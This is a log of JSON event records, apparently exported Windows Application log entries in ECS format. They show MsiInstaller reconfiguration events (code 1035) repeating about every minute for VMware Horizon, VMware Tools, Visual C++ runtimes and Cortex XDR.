{"@timestamp":1657400290631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171199}}
{"@timestamp":1657400290657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171200}}
{"@timestamp":1657400290682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171201}}
{"@timestamp":1657400290718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171202}}
{"@timestamp":1657400290745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171203}}
{"@timestamp":1657400350449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171204}}
{"@timestamp":1657400350478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171205}}
{"@timestamp":1657400350530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171206}}
{"@timestamp":1657400350571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171207}}
{"@timestamp":1657400350600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171208}}
{"@timestamp":1657400350632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171209}}
{"@timestamp":1657400350660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171210}}
{"@timestamp":1657400350687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171211}}
{"@timestamp":1657400350725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171212}}
{"@timestamp":1657400350754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171213}}
{"@timestamp":1657400410432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171214}}
{"@timestamp":1657400410458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171215}}
{"@timestamp":1657400410507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171216}}
{"@timestamp":1657400410546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171217}}
{"@timestamp":1657400410574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171218}}
{"@timestamp":1657400410605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171219}}
{"@timestamp":1657400410631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171220}}
{"@timestamp":1657400410657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171221}}
{"@timestamp":1657400410692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171222}}
{"@timestamp":1657400410720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171223}}
{"@timestamp":1657400470530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171224}}
{"@timestamp":1657400470557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171225}}
{"@timestamp":1657400470609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171226}}
{"@timestamp":1657400470648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171227}}
{"@timestamp":1657400470675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171228}}
{"@timestamp":1657400470705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171229}}
{"@timestamp":1657400470732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171230}}
{"@timestamp":1657400470759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171231}}
{"@timestamp":1657400470796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171232}}
{"@timestamp":1657400470824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171233}}
{"@timestamp":1657400530429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171234}}
{"@timestamp":1657400530458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171235}}
{"@timestamp":1657400530516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171236}}
{"@timestamp":1657400530559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171237}}
{"@timestamp":1657400530587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171238}}
{"@timestamp":1657400530618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171239}}
{"@timestamp":1657400530645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171240}}
{"@timestamp":1657400530671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171241}}
{"@timestamp":1657400530707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171242}}
{"@timestamp":1657400530735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171243}}
{"@timestamp":1657400591180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171244}}
{"@timestamp":1657400591206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171245}}
{"@timestamp":1657400591256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171246}}
{"@timestamp":1657400591294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171247}}
{"@timestamp":1657400591322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171248}}
{"@timestamp":1657400591351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171249}}
{"@timestamp":1657400591377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171250}}
{"@timestamp":1657400591403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171251}}
{"@timestamp":1657400591439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171252}}
{"@timestamp":1657400591467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171253}}
{"@timestamp":1657400651199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171254}}
{"@timestamp":1657400651227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171255}}
{"@timestamp":1657400651279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171256}}
{"@timestamp":1657400651319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171257}}
{"@timestamp":1657400651350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171258}}
{"@timestamp":1657400651381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171259}}
{"@timestamp":1657400651408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171260}}
{"@timestamp":1657400651435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171261}}
{"@timestamp":1657400651472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171262}}
{"@timestamp":1657400651500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171263}}
{"@timestamp":1657400710618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171264}}
